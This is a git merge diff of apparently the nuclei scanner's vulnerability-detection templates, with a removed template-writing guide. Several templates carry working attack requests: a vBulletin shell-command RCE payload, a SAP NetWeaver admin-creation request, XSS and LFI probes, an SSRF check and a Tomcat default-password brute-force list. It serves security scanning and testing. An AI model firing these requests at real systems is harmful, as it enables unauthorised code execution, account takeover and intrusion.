Merge pull request #288 from random-robbie/patch-1

Create CVE-2017-9841

.gitignore

@@ -0,0 +1,2 @@
+.DS_Store
+local/

GUIDE.md

@@ -1,608 +0,0 @@
-# Templating Guide
-
-**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
-
-The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
-
-Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
-
-## Table of Contents
-
-   * [Templating Guide](#templating-guide)
-      * [Template Details](#template-details)
-         * [<strong>Info</strong>](#info)
-         * [<strong>HTTP Requests</strong>](#http-requests)
-            * [<strong>Method</strong>](#method)
-            * [<strong>Redirects</strong>](#redirects)
-            * [<strong>Path</strong>](#path)
-            * [<strong>Headers</strong>](#headers)
-            * [<strong>Body</strong>](#body)
-            * [<strong>Matchers</strong>](#matchers)
-               * [<strong>Types</strong>](#types)
-               * [<strong>Conditions</strong>](#conditions)
-               * [<strong>Matched Parts</strong>](#matched-parts)
-               * [<strong>Multiple Matchers</strong>](#multiple-matchers)
-            * [Extractors](#extractors)
-            * [<strong>Example HTTP Template</strong>](#example-http-template)
-         * [<strong>DNS Requests</strong>](#dns-requests)
-            * [<strong>Type</strong>](#type)
-            * [<strong>Name</strong>](#name)
-            * [<strong>Class</strong>](#class)
-            * [<strong>Recursion</strong>](#recursion)
-            * [<strong>Retries</strong>](#retries)
-            * [<strong>Matchers</strong>](#matchers)
-            * [<strong>Example DNS Template</strong>](#example-dns-template)
-         * [<strong>Chained workflow</strong>](#chained-workflow)
-
-## Template Details
-
-Each template has a unique ID which is used during output writing to specify the template name for an output line.
-
-The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
-
-```yaml
-# id contains the unique identifier for the template.
-id: git-config
-```
-
-ID must not contain spaces. This is done to allow easier output parsing.
-
-### Info
-
-Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
-
-Let's add an **info** block to our template as well.
-
-```yaml
-info:
-  # Name is the name of the template
-  name: Git Config File Detection Template
-  # Author is the name of the author for the template
-  author: Ice3man
-  # Severity is the severity for the template.
-  severity: medium
-```
-
-Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
-
-Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
-
-### HTTP Requests
-
-Requests start with a request block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-requests:
-```
-
-At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
-
-```yaml
-requests:
-  - raw:
-    - |
-        GET /path1/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a1/b1
-    - |
-        POST /path2/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a2/b2
-
-        This is the request Body
-```
-
-Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
-
-```yaml
-id: dummy-raw
-info:
-  name: Example-Fuzzing
-
-requests:
-  - payloads:
-      param_a: /home/user/wordlist_param_a.txt
-      param_b: /home/user/wordlist_param_b.txt
-    attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-          POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
-          User-Agent: {{param_a}}
-          Host: {{Hostname}}
-          another_header: {{base64(param_b)}}
-          Accept: */*
-
-          This is the Body
-      # Request with body manipulation
-      - |
-          DELETE / HTTP/1.1
-          User-Agent: nuclei
-          Host: {{Hostname}}
-          
-          This is the body {{sha256(param_a)}}
-      # Yet another one
-      - |
-          PUT / HTTP/1.1
-          Host: {{Hostname}}
-          
-          This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
-    matchers:
-      - type: word
-        words:
-          - "title"
-          - "body"
-```
-
-This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
-
-#### Method
-
-First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
-
-```yaml
-# Method is the method for the request
-method: GET
-```
-
-#### Redirects
-
-Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
-
-An example of the usage:
-
-```yaml
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/login.php
-    redirects: true
-    max-redirects: 3
-```
-
-#### Path
-
-The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
-2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-path: {{BaseURL}}/.git/config
-# This path will be replaced on execution with BaseURL
-# If BaseURL is set to  https://abc.com then the
-# path will get replaced to the following: https://abc.com/.git/config
-```
-
-Multiple paths can also be specified in one request which will be requested for the target.
-
-#### Headers
-
-Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
-
-```yaml
-# headers contains the headers for the request
-headers:
-  # Custom user-agent header
-  User-Agent: Some-Random-User-Agent
-  # Custom request origin
-  Origin: https://google.com
-```
-
-#### Body
-
-Body specifies a body to be sent along with the request. For instance:
-
-```yaml
-# Body is a string sent along with the request
-body: "{\"some random JSON\"}"
-```
-
-#### Matchers
-
-Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 6 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| status       | Status Code of Response    |
-| size         | Content Length of Response |
-| word         | Response body or headers   |
-| regex        | Response body or headers   |
-| binary       | Response body              |
-| dsl          | All Response Parts         |
-
-To match status codes for responses, you can use the following syntax.
-
-```yaml
-matcher:
-  # Match the status codes
-  - type: status
-    # Some status codes we want to match
-    status:
-      - 200
-      - 302
-```
-
-To match binary for hexadecimal responses, you can use the following syntax.
-
-```yaml
-matchers:
-  - type: binary
-    binary:
-      - "504B0304" # zip archive
-      - "526172211A070100" # rar RAR archive version 5.0
-      - "FD377A585A0000" # xz tar.xz archive
-    condition: or
-    part: body
-```
-
-To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
-
-**Word** and **Regex** matchers can be further configured depending on the needs of the users.
-
-Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
-
-```yaml
-matchers:
-  - type: dsl
-    dsl:
-      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
-      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
-```
-
-Every part of a http response can be matched:
-
-| Response Part    | Description                                     | Example                   |
-|------------------|-------------------------------------------------|---------------------------|
-| content_length   | Header Content-Length                           | content_length >= 1024    |
-| status_code      | Response Status Code                            | status_code==200          |
-| all_headers      | Unique string containing all headers            | len(all_headers)          |
-| body             | Body as string                                  | len(body)                 |
-| header_name      | Lowercase header name with "-" converted to "_" | len(user_agent)           |
-| raw              | Headers + Response                              | len(raw)                  |
-
-This is the list for a dns response:
-
-| Response Part    | Description                       | Example                   |
-|------------------|-----------------------------------|---------------------------|
-| rcode            | Response status                   | rcode == "NXDOMAIN        |
-| question         | Response Question Section         | len(question)             |
-| extra            | Response Extra Section            | len(extra)                |
-| answer           | Response Answers Section          | len(answer)               |
-| ns               | Response Authority Section        | len(ns)                   |
-| raw              | Full Response                     | len(raw)                  |
-
-The helper functions are:
-
-| Helper Function | Description                               | Example                                                                                        |
-|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
-| len             | Length of a string                        | len("Hello") // Result: 5                                                                      |
-| toupper         | string to uppercase                       | toupper("Hello") // Result: "HELLO"                                                            |
-| tolower         | string to lowercase                       | tolower("Hello") // Result: "hello"                                                            |
-| replace         | Replace string parts                      | replace("Hello", "He", "Ha") // Result: "Hallo"                                                |
-| trim            | Remove trailing unicode chars             | trim("aaaHelloddd", "ad") // Result: "Hello"                                                   |
-| trimleft        | Remove unicode chars from left            | trimleft("aaaHelloddd", "ad") // Result: "Helloddd"                                            |
-| trimright       | Remove unicode chars from right           | trimleft("aaaHelloddd", "ad") // Result: "aaaHello"                                            |
-| trimspace       | Remove trailing spaces                    | trimspace("  Hello  ") // Result: "Hello"                                                      |
-| trimprefix      | Trim specified prefix                     | trimprefix("aaHelloaa", "aa") // Result: "Helloaa"                                             |
-| trimsuffix      | Trim specified suffix                     | trimsuffix("aaHelloaa", "aa") // Result: "aaHello"                                             |
-| base64          | Encode string to base64                   | base64("Hello") // Result: "SGVsbG8="                                                          |
-| base64_decode   | Decode string from base64                 | base64_decode("SGVsbG8=") // Result: "Hello"                                                   |
-| url_encode   | URL encode a string                 | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1"     |
-| url_decode   | URL decode a string                 | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1"     |
-| hex_encode   | Hex encode a string                 | hex_encode("aa") // Result: "6161"     |
-| hex_decode   | Hex decode a string                 | hex_decode("6161") // Result: "aa"     |
-| html_escape   | Hex encode a string                 | html_escape("<html><body>test</body></html>") // Result: "&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;"     |
-| html_unescape   | Hex decode a string                 | html_unescape("&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;") // Result: "<html><body>test</body></html>"     |
-| md5             | Calculate md5 of string                   | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7"                                     |
-| sha256          | Calculate sha256 of string                | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969"  |
-| sha1          | Calculate sha1 of string                | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0"  |
-| contains        | Verify if a string contains another one   | contains("Hello", "lo") // Result: True                                                        |
-| regex           | Verify a regex versus a string            | regex("H([a-z]+)o", "Hello") // Result: True                                                   |
-
-##### Conditions
-
-Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
-
-1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
-2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
-
-##### Matched Parts
-
-Multiple parts of the response can also be matched for the request.
-
-| Part   | Matched Part                         |
-| ------ | ------------------------------------ |
-| body   | Body of the response                 |
-| header | Header of the response               |
-| all    | Both body and header of the response |
-
-Example matchers for response body using the AND condition:
-
-```yaml
-matcher:
-  # Match the body word
-  - type: word
-   # Some words we want to match
-   words:
-     - "[core]"
-     - "[config]"
-   # Both words must be found in the response body
-   condition: and
-   #  We want to match request body (default)
-   part: body
-```
-
-Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
-
-##### Multiple Matchers
-
-Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
-
-Here is an example of syntax for multiple matchers.
-
-```yaml
-matchers:
-  - type: word
-    name: php
-    words:
-      - "X-Powered-By: PHP"
-      - "PHPSESSID"
-    part: header
-  - type: word
-    name: node
-    words:
-      - "Server: NodeJS"
-      - "X-Powered-By: nodejs"
-    condition: or
-    part: header
-  - type: word
-    name: python
-    words:
-      - "Python/2."
-      - "Python/3."
-    condition: or
-    part: header
-```
-
-##### Matchers Condition
-
-While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
-
-```yaml
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        condition: or
-        part: header
-
-      - type: word
-        words:
-          - "PHP"
-        part: body
-```
-
-#### Extractors
-
-Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
-
-Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
-
-```yaml
-# A list of extractors for text extraction
-extractors:
-  # type of the extractor, only regex for now.
-  - type: regex
-    # part of the response to extract (can be headers, all too)
-    part: body
-    # regex to use for extraction.
-    regex:
-      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-```
-
-#### **Example HTTP Template**
-
-The final template file for the `.git/config` file mentioned above is as follows:
-
-```yaml
-id: git-config
-
-info:
-  name: Git Config File
-  author: Ice3man
-  severity: medium
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
-    matchers:
-      - type: word
-        words:
-          - "[core]"
-```
-
-### DNS Requests
-
-Requests start with a dns block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-dns:
-```
-
-DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
-
-#### Type
-
-First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
-
-```yaml
-# type is the type for the dns request
-type: A
-```
-
-#### Name
-
-The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-name: {{FQDN}}.com
-# This value will be replaced on execution with the FQDN.
-# If FQDN is https://this.is.an.example then the
-# name will get replaced to the following: this.is.an.example.com
-```
-
-As of now the tool supports only one question per request.
-
-#### Class
-
-Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
-
-```yaml
-# method is the class for the dns request
-class: inet
-```
-
-#### Recursion
-
-Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
-
-```yaml
-# Recursion is a boolean determining if the request is recursive
-recursion: true
-```
-
-#### Retries
-
-Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
-
-```yaml
-# Retries is a number of retries before giving up on dns resolution
-retries: 3
-```
-
-#### Matchers
-
-Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 5 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| size         | Response size              |
-| word         | Response                   |
-| regex        | Response                   |
-| binary       | Response                   |
-| dsl          | Response                   |
-
-## **Example DNS Template**
-
-The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
-
-```yaml
-id: dummy-cname-a
-
-info:
-  name: Dummy A dns request
-  author: mzack9999
-  severity: none
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          # The response must contains a CNAME record
-          - "IN\tCNAME"
-          # and also at least 1 A record
-          - "IN\tA"
-        condition: and
-```
-
-# Chained workflow
-
-It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.  
-
-Chained workflow supports both HTTP and DNS request based templates. 
-
-Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-  
-  jira: panels/detect-jira.yaml
-  jira_cve_1: cves/CVE-2018-20824.yaml
-  jira_cve_2: cves/CVE-2019-3399.yaml
-  jira_cve_3: cves/CVE-2019-11581.yaml
-  jira_cve_4: cves/CVE-2017-18101.yaml
-
-logic: 
-    |
-  if jira() {
-    jira_cve_1()
-    jira_cve_2()
-    jira_cve_3()
-    jira_cve_4()
-
-  }
-```
-
-Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-
-  jira: panels/detect-jira.yaml
-  jira_pwn: my-jira-templates/
-
- # defining directory to run all the templates
-
-logic: 
-    |
-  if jira() {
-    jira_pwn()
-
-  }
-```
-

README.md

@@ -1,6 +1,6 @@
 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
 
-Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
 ------
 **Notes:** 

brute-force/tomcat-manager-bruteforce.yaml

@@ -5,11 +5,21 @@ info:
   severity: high
 
 requests:
-  - payloads:
-      username: username.txt
-      password: password.txt
 
-      # make sure you have your wordlist on the defind path.
+  - payloads:
+      username:
+        - admin
+
+      password:
+        - admin
+        - guest
+        - password
+        - test
+        - 12345
+        - 123456
+
+
+    # Make sure you have your wordlist on the defind path.
 
     attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
 
@@ -18,13 +28,17 @@ requests:
       - |
         GET /manager/html HTTP/1.1
         Host: {{Hostname}}
-        Authorization: Basic {{base64(username:password)}}
+        Authorization: Basic {{base64('username:password')}}
         User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
-        Accept-Encoding: gzip, deflate
         Accept-Language: en-US,en;q=0.9
         Connection: close
 
+    matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
+
+      - type: word
+        words:
+          - Apache Tomcat

cves/CVE-2017-10075.yaml

@@ -0,0 +1,22 @@
+id: CVE-2017-10075
+
+info:
+  name: Oracle Content Server XSS
+  author: madrobot
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(31337)</script>"
+        part: body

cves/CVE-2017-7529.yaml

@@ -16,7 +16,6 @@ requests:
           Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
           Accept-Language: en-US,en;q=0.5
           Range: bytes=-17208,-9223372036854758792
-          Accept-Encoding: gzip, deflate
           Connection: close
 
     matchers-condition: and

cves/CVE-2017-9841.yaml

@@ -0,0 +1,36 @@
+id: CVE-2017-9841
+
+info:
+  name: CVE-2017-9841
+  author: Random-Robbie
+  severity: High
+
+  # Reference to exploit
+  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+  # https://github.com/RandomRobbieBF/phpunit-brute
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "this version of phpunit requires php 5"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2018-11759.yaml

@@ -3,14 +3,15 @@ id: CVE-2018-11759
 info:
   name: Apache Tomcat JK Status Manager Access
   author: Harsh Bothra
-  severity: Medium
+  severity: medium
 
-# source:- https://github.com/immunIT/CVE-2018-11759
+# Source:- https://github.com/immunIT/CVE-2018-11759
 
 requests:
   - method: GET
     path:
       - '{{BaseURL}}/jkstatus'
+      - '{{BaseURL}}/jkstatus;'
 
     matchers-condition: and
     matchers:

cves/CVE-2019-14322.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-14322
+
+info:
+  name: Odoo 12.0 - Local File Inclusion
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
+      - "{{BaseURL}}/web/static/c:/windows/win.ini"
+      - "{{BaseURL}}/base/static/c:/windows/win.ini"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body

cves/CVE-2019-16759.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /index.php?routestring=ajax/render/widget_php HTTP/1.1
+
+        widgetConfig[code]=echo%20%27bm9uZXhpc3RlbnQ6MTMzNwo=%27%20|%20base64%20-d;%20exit;
+      - |
+        POST / HTTP/1.1
+
+        {"routestring":"ajax\/render\/widget_php","widgetConfig[code]":"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;"}
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "nonexistent:1337"

cves/CVE-2019-18394.yaml

@@ -0,0 +1,17 @@
+id: CVE-2019-18394
+
+info:
+  name: Openfire Full Read SSRF
+  author: pdteam - nuclei.projectdiscovery.io
+  severity: critical
+
+  # Source:- https://swarm.ptsecurity.com/openfire-admin-console/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
+    matchers:
+      - type: word
+        words:
+          - <h1>Burp Collaborator Server</h1>

cves/CVE-2019-19985.yaml

@@ -0,0 +1,23 @@
+id: CVE-2019-19985
+
+info:
+  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
+  author: KBA@SOGETI_ESEC
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48698
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - Subscribed
+
+      - type: status
+        status:
+          - 200

cves/CVE-2019-3396.yaml

@@ -16,7 +16,6 @@ requests:
            User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
            Referer: {{Hostname}}
            Content-Length: 168
-           Accept-Encoding: gzip, deflate
            Connection: close
 
            {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}

cves/CVE-2020-1147.yaml

@@ -0,0 +1,35 @@
+id: CVE-2020-1147
+
+info:
+  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
+  author: dwisiswant0
+  severity: critical
+
+  # Ref:
+  # - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1147
+  # - https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "List does not exist"
+          - "It may have been deleted by another user"
+        part: body
+        condition: and
+      - type: word
+        words:
+          - "Microsoft-IIS"
+          - "X-SharePointHealthScore"
+          - "SharePointError"
+          - "SPRequestGuid"
+          - "MicrosoftSharePointTeamServices"
+        condition: or
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-12720.yaml

@@ -15,7 +15,6 @@ requests:
       - |
         POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
         Host: {{Hostname}}
-        Accept-Encoding: gzip, deflate
         Accept: */*
         Connection: keep-alive
         X-Requested-With: XMLHttpRequest

cves/CVE-2020-3187.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-3187
+
+# Reference: https://twitter.com/aboul3la/status/1286809567989575685
+
+info:
+  name: CVE-2020-3187
+  author: KareemSe1im
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/+CSCOE+/session_password.html"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - webvpn
+          - Webvpn
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/CVE-2020-3452.yaml

@@ -0,0 +1,19 @@
+id: CVE-2020-3452
+
+# Source: https://twitter.com/aboul3la/status/1286012324722155525
+
+info:
+  name: CVE-2020-3452
+  author: pdteam
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
+    matchers:
+      - type: word
+        words:
+          - "INTERNAL_PASSWORD_ENABLED"
+          - "CONF_VIRTUAL_KEYBOARD"
+        condition: and

cves/CVE-2020-6287.yaml

@@ -0,0 +1,37 @@
+id: CVE-2020-6287
+
+info:
+  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
+  author: dwisiswant0
+  severity: critical
+
+  # Affected Versions: 7.30, 7.31, 7.40, 7.50
+
+  # p.s:
+  # > Don't forget to change the default credentials
+  # > to create new admin in associated file:
+  # > `payloads/CVE-2020-6287.xml`
+
+  # Ref:
+  # - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
+
+requests:
+  - payloads:
+      data: "payloads/CVE-2020-6287.xml"
+    raw:
+      - |
+        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml; charset=UTF-8
+        Connection: close
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "urn:CTCWebServiceSi"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-7961.yaml

@@ -14,10 +14,10 @@ requests:
       User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
       Connection: "close"
       Content-Type: "application/x-www-form-urlencoded"
-      cmd2: "bash -c 'curl -v \"http://nonexistent/\" -H \"Connection: close\"' -m 1"
+      cmd2: "bash -c 'echo \"bm9uZXhpc3RlbnQ6MTMzNwo=\" | base64 -d'"
